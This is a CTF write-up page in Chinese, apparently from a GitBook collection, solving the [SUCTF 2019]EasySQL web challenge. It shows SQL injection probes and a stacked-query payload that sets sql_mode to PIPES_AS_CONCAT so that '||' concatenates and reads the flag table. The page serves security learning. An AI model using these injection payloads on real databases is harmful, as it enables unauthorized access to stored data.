👹
CTF Writeup
  • README
  • BUUCTF
    • [护网杯 2018]easy_tornado
    • [极客大挑战 2019]BuyFlag
    • [极客大挑战 2019]BabySQL
    • [ZJCTF 2019]NiZhuanSiWei
    • [BJDCTF2020]Easy MD5
    • [极客大挑战 2019]EasySQL
    • [HCTF 2018]admin
    • [极客大挑战 2019]Havefun
    • [极客大挑战 2019]Http
    • [极客大挑战 2019]HardSQL
    • [极客大挑战 2019]Knife
    • [SUCTF 2019]CheckIn
    • [极客大挑战 2019]LoveSQL
    • [极客大挑战 2019]PHP
    • [极客大挑战 2019]Secret File
    • [MRCTF2020]你传你🐎呢
    • [极客大挑战 2019]Upload
    • [网鼎杯 2020 青龙组]AreUSerialz
    • [极客大挑战 2020]Roamphp6-flagshop
    • [强网杯 2019]随便注
    • [ACTF2020 新生赛]BackupFile
    • [ACTF2020 新生赛]Exec
    • [MRCTF2020]Ez_bypass
    • [ACTF2020 新生赛]Include
    • [GXYCTF2019]Ping Ping Ping
    • [GXYCTF2019]BabySQli
    • [HCTF 2018]WarmUp
    • [RoarCTF 2019]Easy Calc
    • [GYCTF2020]Blacklist
    • [SUCTF 2019]EasySQL
    • [CISCN2019 华北赛区 Day2 Web1]Hack World
    • [网鼎杯 2018]Fakebook
  • RACTF
    • notrequired
    • madlib
    • git commit -m whatever
  • ByteCTF2021
    • double sqli
由 GitBook 提供支持
在本页
  • 解法一
  • 解法二

这有帮助吗?

  1. BUUCTF

[SUCTF 2019]EasySQL

解法一

query=true%23 返回1

query=false%23 返回0

query=user()%23 获取到用户名:root@localhost

query=database()%23 获取到数据库名:ctf

query=version()%23 获取到数据库版本:10.3.18-MariaDB

尝试Fuzz发现过滤了大部分关键字,而且大小写不敏感

尝试query=1,2,3,4%23发现返回一个长度为4的array

尝试用*获取query=*,2,get flag

解法二

这道题的考点其实是一个 sql_mode 参数

Oracle 在缺省情况下支持使用 " || "连接字符串 , 但是在MySQL中缺省不支持 ,MySQL 缺省使用 CONCAT 系列函数来连接字符串 .

可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 " || "视为 字符串连接符 而非 或 运算符 .

因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag ,如下

Payload: 1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接后就变成了 select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag FROM Flag

成功拿到 Flag

上一页[GYCTF2020]Blacklist下一页[CISCN2019 华北赛区 Day2 Web1]Hack World

最后更新于3年前

这有帮助吗?